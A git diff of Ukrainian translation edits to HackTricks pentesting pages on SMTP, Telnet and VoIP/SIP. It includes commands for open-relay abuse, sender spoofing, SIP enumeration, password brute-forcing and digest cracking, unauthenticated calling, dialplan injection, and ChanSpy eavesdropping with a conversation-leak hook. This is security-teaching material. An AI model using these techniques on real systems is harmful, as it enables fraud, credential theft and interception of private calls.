@ -373,7 +373,7 @@ _dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMA
|
|||
>
|
||||
> Якщо я отримую пошту з pielovers.demon.co.uk, і для pielovers немає SPF даних, чи повинен я повернутися на один рівень і перевірити SPF для demon.co.uk? Ні. Кожен піддомен у Demon є різним клієнтом, і кожен клієнт може мати свою власну політику. Не мало б сенсу, щоб політика Demon's застосовувалася до всіх його клієнтів за замовчуванням; якщо Demon хоче це зробити, він може налаштувати SPF записи для кожного піддомену.
|
||||
>
|
||||
> Тож порада для видавців SPF така: ви повинні додати SPF запис для кожного піддомену або імені хоста, яке має A або MX запис.
|
||||
> Отже, порада для видавців SPF така: ви повинні додати SPF запис для кожного піддомену або імені хоста, яке має A або MX запис.
|
||||
>
|
||||
> Сайти з дикими A або MX записами також повинні мати дикий SPF запис у формі: \* IN TXT "v=spf1 -all"
|
||||
|
||||
|
@ -381,9 +381,9 @@ _dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMA
|
|||
|
||||
### **Відкритий релей**
|
||||
|
||||
Коли надсилаються електронні листи, важливо забезпечити, щоб вони не були позначені як спам. Це часто досягається за допомогою **релейного сервера, якому довіряє отримувач**. Однак поширеною проблемою є те, що адміністратори можуть не повністю усвідомлювати, які **IP-діапазони безпечні для дозволу**. Ця відсутність розуміння може призвести до помилок у налаштуванні SMTP сервера, що є ризиком, який часто виявляється під час оцінки безпеки.
|
||||
Коли надсилаються електронні листи, важливо забезпечити, щоб вони не були позначені як спам. Це часто досягається за допомогою **релейного сервера, якому довіряє отримувач**. Однак поширеною проблемою є те, що адміністратори можуть не повністю усвідомлювати, які **IP-діапазони безпечні для дозволу**. Ця відсутність розуміння може призвести до помилок у налаштуванні SMTP сервера, що є ризиком, який часто виявляється в оцінках безпеки.
|
||||
|
||||
Обхідний шлях, який деякі адміністратори використовують, щоб уникнути проблем з доставкою електронної пошти, особливо щодо спілкування з потенційними або поточними клієнтами, полягає в **дозволі з'єднань з будь-якої IP-адреси**. Це робиться шляхом налаштування параметра `mynetworks` SMTP сервера для прийняття всіх IP-адрес, як показано нижче:
|
||||
Обхідний шлях, який деякі адміністратори використовують, щоб уникнути проблем з доставкою електронної пошти, особливо щодо спілкування з потенційними або поточними клієнтами, полягає в тому, щоб **дозволити з'єднання з будь-якої IP-адреси**. Це робиться шляхом налаштування параметра `mynetworks` SMTP сервера для прийняття всіх IP-адрес, як показано нижче:
|
||||
```bash
|
||||
mynetworks = 0.0.0.0/0
|
||||
```
|
||||
|
@ -438,7 +438,7 @@ K9B7U1w0CJFUk6+4Qutr2ROqKtNOff9KuNRLAOiAzH3ZbQ==
|
|||
{% tabs %}
|
||||
{% tab title="PHP" %}
|
||||
<pre class="language-php"><code class="lang-php"><strong># Це надішле підписане повідомлення
|
||||
</strong><strong>mail("your_email@gmail.com", "Test Subject!", "hey! This is a test", "From: administrator@victim.com");
|
||||
</strong><strong>mail("your_email@gmail.com", "Тестова тема!", "привіт! Це тест", "Від: administrator@victim.com");
|
||||
</strong></code></pre>
|
||||
{% endtab %}
|
||||
|
||||
|
@ -513,7 +513,7 @@ s.sendmail(sender, [destination], msg_data)
|
|||
* Підозрілі (незвичайні) вкладення
|
||||
* Пошкоджений вміст електронної пошти
|
||||
* Значення, що використовуються, які відрізняються від заголовків листа
|
||||
* Наявність дійсного та надійного SSL сертифіката
|
||||
* Наявність дійсного та надійного SSL-сертифіката
|
||||
* Подання сторінки на сайти фільтрації веб-контенту
|
||||
|
||||
## Екстракція через SMTP
|
||||
|
@ -589,23 +589,23 @@ Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {
|
|||
```
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Отримайте перспективу хакера щодо ваших веб-додатків, мережі та хмари
|
||||
**Отримайте перспективу хакера щодо ваших веб-додатків, мережі та хмари**
|
||||
|
||||
**Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування поверхні атаки, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, і використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Вчіться та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вчіться та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Діліться хакерськими трюками, подаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -17,7 +17,7 @@
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Отримайте перспективу хакера на ваші веб-додатки, мережу та хмару
|
||||
**Отримайте перспективу хакера на ваші веб-додатки, мережу та хмару**
|
||||
|
||||
**Знайдіть та повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування атакуючої поверхні, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, та використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
|
||||
|
||||
|
@ -38,7 +38,7 @@
|
|||
Вона ідентифікує отримувача електронної пошти; якщо їх більше одного, команда просто повторюється адреса за адресою.
|
||||
|
||||
**SIZE**\
|
||||
Ця команда SMTP інформує віддалений сервер про приблизний розмір (в байтах) прикріпленої електронної пошти. Її також можна використовувати для повідомлення про максимальний розмір повідомлення, яке може бути прийнято сервером.
|
||||
Ця команда SMTP інформує віддалений сервер про приблизний розмір (в байтах) прикріпленої електронної пошти. Її також можна використовувати для повідомлення про максимальний розмір повідомлення, який може бути прийнятий сервером.
|
||||
|
||||
**DATA**\
|
||||
З командою DATA починається передача вмісту електронної пошти; зазвичай її супроводжує код відповіді 354, наданий сервером, що дає дозвіл на початок фактичної передачі.
|
||||
|
@ -66,7 +66,7 @@
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Отримайте перспективу хакера на ваші веб-додатки, мережу та хмару
|
||||
**Отримайте перспективу хакера на ваші веб-додатки, мережу та хмару**
|
||||
|
||||
**Знайдіть та повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування атакуючої поверхні, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, та використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
|
||||
|
||||
|
|
|
@ -17,9 +17,9 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Get a hacker's perspective on your web apps, network, and cloud
|
||||
**Отримайте перспективу хакера щодо ваших веб-додатків, мережі та хмари**
|
||||
|
||||
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
|
||||
**Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування атакуючої поверхні, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, і використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -43,7 +43,7 @@ nmap -n -sV -Pn --script "*telnet* and safe" -p 23 <IP>
|
|||
```
|
||||
Скрипт `telnet-ntlm-info.nse` отримає інформацію NTLM (версії Windows).
|
||||
|
||||
З [telnet RFC](https://datatracker.ietf.org/doc/html/rfc854): У протоколі TELNET є різні "**options**", які будуть санкціоновані і можуть бути використані зі структурою "**DO, DON'T, WILL, WON'T**", щоб дозволити користувачу та серверу погодитися використовувати більш складний (або, можливо, просто інший) набір конвенцій для їхнього з'єднання TELNET. Такі опції можуть включати зміну набору символів, режиму еха тощо.
|
||||
З [telnet RFC](https://datatracker.ietf.org/doc/html/rfc854): У протоколі TELNET є різні "**options**", які будуть санкціоновані і можуть використовуватися зі структурою "**DO, DON'T, WILL, WON'T**", щоб дозволити користувачу та серверу погодитися використовувати більш складний (або, можливо, просто інший) набір конвенцій для їхнього з'єднання TELNET. Такі опції можуть включати зміну набору символів, режиму еха тощо.
|
||||
|
||||
**Я знаю, що можливо перерахувати ці опції, але не знаю як, тому дайте знати, якщо знаєте як.**
|
||||
|
||||
|
@ -89,9 +89,9 @@ Command: msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_version; set RHOS
|
|||
```
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Отримайте перспективу хакера щодо ваших веб-додатків, мережі та хмари
|
||||
**Отримайте перспективу хакера щодо ваших веб-додатків, мережі та хмари**
|
||||
|
||||
**Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування атакуючої поверхні, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, і використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
|
||||
**Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування поверхні атаки, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, і використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
|
|
@ -17,13 +17,13 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Get a hacker's perspective on your web apps, network, and cloud
|
||||
**Отримайте перспективу хакера щодо ваших веб-додатків, мережі та хмари**
|
||||
|
||||
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
|
||||
**Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування атакуючої поверхні, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, і використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
## VoIP Basic Information
|
||||
## VoIP Основна інформація
|
||||
|
||||
Щоб почати вивчати, як працює VoIP, перегляньте:
|
||||
|
||||
|
@ -31,7 +31,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
[basic-voip-protocols](basic-voip-protocols/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Basic Messages
|
||||
## Основні повідомлення
|
||||
```
|
||||
Request name Description RFC references
|
||||
------------------------------------------------------------------------------------------------------
|
||||
|
@ -151,7 +151,7 @@ OPTIONS Query the capabilities of an endpoint RFC 3261
|
|||
|
||||
### Telephone Numbers
|
||||
|
||||
Одним з перших кроків, які може зробити Red Team, є пошук доступних телефонних номерів для зв'язку з компанією, використовуючи інструменти OSINT, пошукові запити в Google або сканування веб-сторінок.
|
||||
Одним з перших кроків, які може зробити Red Team, є пошук доступних телефонних номерів для зв'язку з компанією, використовуючи інструменти OSINT, пошук в Google або сканування веб-сторінок.
|
||||
|
||||
Коли у вас є телефонні номери, ви можете використовувати онлайн-сервіси для ідентифікації оператора:
|
||||
|
||||
|
@ -198,7 +198,7 @@ inurl:"maint/index.php?FreePBX" intitle: "FreePBX" intext:"FreePBX Admministrati
|
|||
```
|
||||
### OSINT інформація
|
||||
|
||||
Будь-яка інша OSINT-енумерація, яка допомагає визначити використовуване VoIP програмне забезпечення, буде корисною для Red Team.
|
||||
Будь-яка інша OSINT-енумерація, яка допомагає визначити використовуване програмне забезпечення VoIP, буде корисною для Red Team.
|
||||
|
||||
### Перерахування мережі
|
||||
|
||||
|
@ -212,7 +212,7 @@ sudo nmap --script=sip-methods -sU -p 5060 10.10.0.0/24
|
|||
# Use --fp to fingerprint the services
|
||||
svmap 10.10.0.0/24 -p 5060-5070 [--fp]
|
||||
```
|
||||
* **`SIPPTS scan`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS сканер - це дуже швидкий сканер для SIP сервісів через UDP, TCP або TLS. Він використовує багатопоточність і може сканувати великі діапазони мереж. Він дозволяє легко вказати діапазон портів, сканувати як TCP, так і UDP, використовувати інший метод (за замовчуванням буде використовувати OPTIONS) і вказувати інший User-Agent (і більше).
|
||||
* **`SIPPTS scan`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS сканер - це дуже швидкий сканер для SIP сервісів через UDP, TCP або TLS. Він використовує багатопоточність і може сканувати великі діапазони мереж. Він дозволяє легко вказати діапазон портів, сканувати як TCP, так і UDP, використовувати інший метод (за замовчуванням буде використовувати OPTIONS) і вказувати інший User-Agent (і не тільки).
|
||||
```bash
|
||||
sippts scan -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER]
|
||||
|
||||
|
@ -238,6 +238,7 @@ PBX також може відкривати інші мережеві серв
|
|||
* **3306 (MySQL)**: База даних MySQL
|
||||
* **5038 (Manager)**: Дозволяє використовувати Asterisk з інших платформ
|
||||
* **5222 (XMPP)**: Повідомлення за допомогою Jabber
|
||||
* **5432 (PostgreSQL)**: База даних PostgreSQL
|
||||
* І інші...
|
||||
|
||||
### Перевірка Методів
|
||||
|
@ -248,7 +249,7 @@ sippts enumerate -i 10.10.0.10
|
|||
```
|
||||
### Аналіз відповідей сервера
|
||||
|
||||
Дуже важливо аналізувати заголовки, які сервер відправляє нам у відповідь, залежно від типу повідомлення та заголовків, які ми відправляємо. З `SIPPTS send` з [**sippts**](https://github.com/Pepelux/sippts) ми можемо надсилати персоналізовані повідомлення, маніпулюючи всіма заголовками, та аналізувати відповідь.
|
||||
Дуже важливо аналізувати заголовки, які сервер відправляє нам у відповідь, залежно від типу повідомлення та заголовків, які ми відправляємо. З `SIPPTS send` з [**sippts**](https://github.com/Pepelux/sippts) ми можемо надсилати персоналізовані повідомлення, маніпулюючи всіма заголовками, і аналізувати відповідь.
|
||||
```bash
|
||||
sippts send -i 10.10.0.10 -m INVITE -ua Grandstream -fu 200 -fn Bob -fd 11.0.0.1 -tu 201 -fn Alice -td 11.0.0.2 -header "Allow-Events: presence" -sdp
|
||||
```
|
||||
|
@ -273,7 +274,7 @@ sippts exten -i 10.10.0.10 -r 5060 -e 100-200
|
|||
auxiliary/scanner/sip/enumerator_tcp normal No SIP Username Enumerator (TCP)
|
||||
auxiliary/scanner/sip/enumerator normal No SIP Username Enumerator (UDP)
|
||||
```
|
||||
* **`enumiax` (`apt install enumiax`): enumIAX** є **перебірником імен користувачів** протоколу Inter Asterisk Exchange. enumIAX може працювати в двох різних режимах: послідовне вгадування імен користувачів або атака за словником.
|
||||
* **`enumiax` (`apt install enumiax`): enumIAX** є **перебором імен користувачів** протоколу Inter Asterisk Exchange. enumIAX може працювати в двох різних режимах: послідовне вгадування імен користувачів або атака за словником.
|
||||
```bash
|
||||
enumiax -d /usr/share/wordlists/metasploit/unix_users.txt 10.10.0.10 # Use dictionary
|
||||
enumiax -v -m3 -M3 10.10.0.10
|
||||
|
@ -305,9 +306,9 @@ sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt
|
|||
|
||||
### VoIP Sniffing
|
||||
|
||||
Якщо ви знайдете VoIP обладнання всередині **Open Wifi network**, ви зможете **перехопити всю інформацію**. Більше того, якщо ви знаходитесь у більш закритій мережі (підключеній через Ethernet або захищений Wifi), ви зможете виконати **MitM атаки, такі як** [**ARPspoofing**](../../generic-methodologies-and-resources/pentesting-network/#arp-spoofing) між **PBX та шлюзом** для перехоплення інформації.
|
||||
Якщо ви знайдете VoIP обладнання всередині **Open Wifi network**, ви зможете **перехопити всю інформацію**. Більше того, якщо ви знаходитесь у більш закритій мережі (підключеній через Ethernet або захищений Wifi), ви зможете виконати **MitM атаки, такі як** [**ARPspoofing**](../../generic-methodologies-and-resources/pentesting-network/#arp-spoofing) між **PBX та шлюзом**, щоб перехопити інформацію.
|
||||
|
||||
Серед мережевої інформації ви можете знайти **веб-дані** для управління обладнанням, **розширення** користувачів, **ім'я користувача**, **IP** адреси, навіть **хешовані паролі** та **RTP пакети**, які ви можете відтворити, щоб **почути розмову**, і більше.
|
||||
Серед мережевої інформації ви можете знайти **веб-облікові дані** для управління обладнанням, **розширення** користувачів, **ім'я користувача**, **IP** адреси, навіть **хешовані паролі** та **RTP пакети**, які ви можете відтворити, щоб **почути розмову**, і більше.
|
||||
|
||||
Щоб отримати цю інформацію, ви можете використовувати інструменти, такі як Wireshark, tcpdump... але **спеціально створений інструмент для перехоплення VoIP розмов - це** [**ucsniff**](https://github.com/Seabreg/ucsniff).
|
||||
|
||||
|
@ -316,11 +317,11 @@ sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt
|
|||
Те ж саме станеться, якщо використовується **SRTP** та **ZRTP**, **RTP пакети не будуть у відкритому тексті**.
|
||||
{% endhint %}
|
||||
|
||||
#### SIP credentials (Password Brute-Force - offline)
|
||||
#### SIP облікові дані (Брутфорс пароля - офлайн)
|
||||
|
||||
[Перегляньте цей приклад, щоб краще зрозуміти **SIP REGISTER комунікацію**](basic-voip-protocols/sip-session-initiation-protocol.md#sip-register-example), щоб дізнатися, як **надсилаються облікові дані**.
|
||||
[Перегляньте цей приклад, щоб краще зрозуміти **SIP REGISTER комунікацію**](basic-voip-protocols/sip-session-initiation-protocol.md#sip-register-example), щоб дізнатися, як **облікові дані надсилаються**.
|
||||
|
||||
* **`sipdump`** & **`sipcrack`,** частина **sipcrack** (`apt-get install sipcrack`): Ці інструменти можуть **екстрагувати** з **pcap** **digest аутентифікації** в рамках SIP протоколу та **зламувати** їх.
|
||||
* **`sipdump`** & **`sipcrack`,** частина **sipcrack** (`apt-get install sipcrack`): Ці інструменти можуть **екстрагувати** з **pcap** **digest аутентифікації** в рамках SIP протоколу та **брутфорсити** їх.
|
||||
```bash
|
||||
sipdump -p net-capture.pcap sip-creds.txt
|
||||
sipcrack sip-creds.txt -w dict.txt
|
||||
|
@ -351,7 +352,7 @@ multimon -a DTMF -t wac pin.wav
|
|||
host=10.10.10.10
|
||||
host=dynamic
|
||||
```
|
||||
Якщо вказана IP-адреса, хост **не потрібно буде надсилати запити REGISTER** час від часу (в пакеті REGISTER надсилається час життя, зазвичай 30 хвилин, що означає, що в іншому випадку телефон повинен буде РЕГІСТРУВАТИСЯ кожні 30 хвилин). Однак, йому потрібно мати відкриті порти, що дозволяють з'єднання з VoIP-сервером для прийому дзвінків.
|
||||
Якщо вказано IP-адресу, хост **не потрібно буде надсилати запити REGISTER** час від часу (в пакеті REGISTER надсилається час життя, зазвичай 30 хвилин, що означає, що в іншому випадку телефон повинен буде РЕГІСТРУВАТИСЯ кожні 30 хвилин). Однак, йому потрібно мати відкриті порти, що дозволяють з'єднання з VoIP-сервером для прийому дзвінків.
|
||||
|
||||
Щоб визначити користувачів, їх можна визначити як:
|
||||
|
||||
|
@ -362,7 +363,7 @@ host=dynamic
|
|||
Також можливо встановити довіру з використанням змінної insecure:
|
||||
|
||||
* **`insecure=port`**: Дозволяє з'єднання рівних, перевірених за IP.
|
||||
* **`insecure=invite`**: Не вимагає аутентифікації для INVITE повідомлень
|
||||
* **`insecure=invite`**: Не вимагає аутентифікації для повідомлень INVITE
|
||||
* **`insecure=port,invite`**: Обидва
|
||||
|
||||
{% hint style="warning" %}
|
||||
|
@ -412,7 +413,7 @@ include => external
|
|||
|
||||
* **`SIPPTS invite`** з [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS invite перевіряє, чи **PBX сервер дозволяє нам здійснювати дзвінки без автентифікації**. Якщо SIP сервер має неправильну конфігурацію, він дозволить нам здійснювати дзвінки на зовнішні номери. Це також може дозволити нам переадресувати дзвінок на другий зовнішній номер.
|
||||
|
||||
Наприклад, якщо ваш сервер Asterisk має погану конфігурацію контексту, ви можете приймати запити INVITE без авторизації. У цьому випадку атакуючий може здійснювати дзвінки, не знаючи жодного користувача/пароля.
|
||||
Наприклад, якщо ваш сервер Asterisk має погану конфігурацію контексту, ви можете приймати запит INVITE без авторизації. У цьому випадку атакуючий може здійснювати дзвінки, не знаючи жодного логіна/пароля.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -431,9 +432,9 @@ IVRS означає **Систему інтерактивної голосово
|
|||
IVRS у VoIP системах зазвичай складається з:
|
||||
|
||||
1. **Голосових підказок**: Попередньо записані аудіоповідомлення, які направляють користувачів через меню IVR та інструкції.
|
||||
2. **DTMF** (Dual-Tone Multi-Frequency) сигналізація: Тональні введення, що генеруються натисканням клавіш на телефоні, які використовуються для навігації через меню IVR та надання введення.
|
||||
2. **DTMF** (Двотональне багаточастотне) сигналізування: Тональні введення, що генеруються натисканням клавіш на телефоні, які використовуються для навігації через меню IVR та надання введення.
|
||||
3. **Маршрутизація дзвінків**: Направлення дзвінків до відповідного призначення, такого як конкретні відділи, агенти або розширення на основі введення користувача.
|
||||
4. **Захоплення введення користувача**: Збір інформації від абонентів, такої як номери рахунків, ID справ або будь-які інші відповідні дані.
|
||||
4. **Захоплення введення користувача**: Збір інформації від абонентів, такої як номери рахунків, ідентифікатори справ або будь-які інші відповідні дані.
|
||||
5. **Інтеграція з зовнішніми системами**: Підключення системи IVR до баз даних або інших програмних систем для доступу або оновлення інформації, виконання дій або ініціювання подій.
|
||||
|
||||
У системі Asterisk VoIP ви можете створити IVR, використовуючи план набору (**`extensions.conf`** файл) та різні програми, такі як `Background()`, `Playback()`, `Read()` та інші. Ці програми допомагають вам відтворювати голосові підказки, захоплювати введення користувача та контролювати потік дзвінків.
|
||||
|
@ -447,7 +448,7 @@ exten => 0,103,GotoIf("$[${numbers}"=""]?100)
|
|||
exten => 0,104,Dial(LOCAL/${numbers})
|
||||
```
|
||||
Попередній приклад, де користувача просять **натиснути 1, щоб зателефонувати** в відділ, **2, щоб зателефонувати** в інший, або **повний номер**, якщо він його знає.\
|
||||
Вразливість полягає в тому, що вказана **довжина номера не перевіряється, тому користувач може ввести тайм-аут у 5 секунд, і буде зателефоновано на повний номер.**
|
||||
Вразливість полягає в тому, що вказана **довжина номера не перевіряється, тому користувач може ввести 5-секундний тайм-аут, і буде набрано повний номер.**
|
||||
|
||||
### Впровадження номера
|
||||
|
||||
|
@ -463,11 +464,11 @@ exten => 101,1,Dial(SIP/101)
|
|||
```scss
|
||||
exten => 101&SIP123123123,1,Dial(SIP/101&SIP123123123)
|
||||
```
|
||||
Тому дзвінок на розширення **`101`** та **`123123123`** буде надіслано, і лише перший, хто отримав дзвінок, буде встановлено... але якщо зловмисник використовує **розширення, яке обходить будь-яке зіставлення**, що виконується, але не існує, він може **впровадити дзвінок лише на бажаний номер**.
|
||||
Тому дзвінок на розширення **`101`** та **`123123123`** буде надіслано, і лише перший, хто отримає дзвінок, буде встановлено... але якщо зловмисник використовує **розширення, яке обходить будь-яке співпадіння**, яке виконується, але не існує, він може **інжектувати дзвінок лише на бажаний номер**.
|
||||
|
||||
## Уразливість SIPDigestLeak
|
||||
|
||||
Уразливість SIP Digest Leak впливає на велику кількість SIP телефонів, включаючи як апаратні, так і програмні IP телефони, а також телефонні адаптери (VoIP до аналогових). Уразливість дозволяє **витікання відповіді на аутентифікацію Digest**, яка обчислюється з пароля. **Офлайн-атака на пароль стає можливою** і може відновити більшість паролів на основі відповіді на виклик.
|
||||
Уразливість SIP Digest Leak впливає на велику кількість SIP телефонів, включаючи як апаратні, так і програмні IP телефони, а також телефонні адаптери (VoIP на аналогові). Уразливість дозволяє **витоку відповіді на аутентифікацію Digest**, яка обчислюється з пароля. **Офлайн-атака на пароль стає можливою** і може відновити більшість паролів на основі відповіді на виклик.
|
||||
|
||||
**[Сценарій уразливості звідси**](https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf):
|
||||
|
||||
|
@ -532,7 +533,7 @@ exec 3<>/dev/tcp/10.10.10.10/5038 && echo -e "Action: Login\nUsername:test\nSecr
|
|||
|
||||
В Asterisk можливо використовувати команду **`ChanSpy`**, вказуючи **розширення(я) для моніторингу** (або всі з них), щоб чути розмови, які відбуваються. Цю команду потрібно призначити розширенню.
|
||||
|
||||
Наприклад, **`exten => 333,1,ChanSpy('all',qb)`** вказує, що якщо ви **зателефонуєте** на **розширення 333**, воно буде **моніторити** **`всі`** розширення, **почне слухати** щоразу, коли починається нова розмова (**`b`**) в тихому режимі (**`q`**), оскільки ми не хочемо взаємодіяти з нею. Ви можете переходити від однієї розмови до іншої, натискаючи **`*`**, або набираючи номер розширення.
|
||||
Наприклад, **`exten => 333,1,ChanSpy('all',qb)`** вказує, що якщо ви **зателефонуєте** на **розширення 333**, воно буде **моніторити** **`всі`** розширення, **почне слухати** щоразу, коли починається нова розмова (**`b`**) в тихому режимі (**`q`**), оскільки ми не хочемо взаємодіяти з цим. Ви можете переходити від однієї розмови до іншої, натискаючи **`*`**, або набираючи номер розширення.
|
||||
|
||||
Також можливо використовувати **`ExtenSpy`** для моніторингу лише одного розширення.
|
||||
|
||||
|
@ -556,9 +557,9 @@ exten => h,1,System(/tmp/leak_conv.sh &)
|
|||
|
||||
**RTCPBleed** є серйозною проблемою безпеки, що впливає на VoIP-сервери на базі Asterisk (опубліковано в 2017 році). Уразливість дозволяє **RTP (Real Time Protocol) трафіку**, який несе VoIP-розмови, **перехоплюватися та перенаправлятися будь-ким в Інтернеті**. Це відбувається тому, що RTP-трафік обходить аутентифікацію при навігації через NAT (Network Address Translation) брандмауери.
|
||||
|
||||
RTP-проксі намагаються вирішити **обмеження NAT**, що впливають на RTC-системи, проксуючи RTP-потоки між двома або більше сторонами. Коли NAT активний, програмне забезпечення RTP-проксі часто не може покладатися на інформацію про IP та порт RTP, отриману через сигналізацію (наприклад, SIP). Тому ряд RTP-проксі реалізували механізм, де такий **IP та портова пара вивчається автоматично**. Це часто робиться шляхом перевірки вхідного RTP-трафіку та позначення IP та порту джерела для будь-якого вхідного RTP-трафіку як того, на який слід відповідати. Цей механізм, який може називатися "режим навчання", **не використовує жодного виду аутентифікації**. Тому **зловмисники** можуть **надсилати RTP-трафік до RTP-проксі** та отримувати проксований RTP-трафік, призначений для абонента або абонентки поточного RTP-потоку. Ми називаємо цю уразливість RTP Bleed, оскільки вона дозволяє зловмисникам отримувати RTP медіа-потоки, призначені для законних користувачів.
|
||||
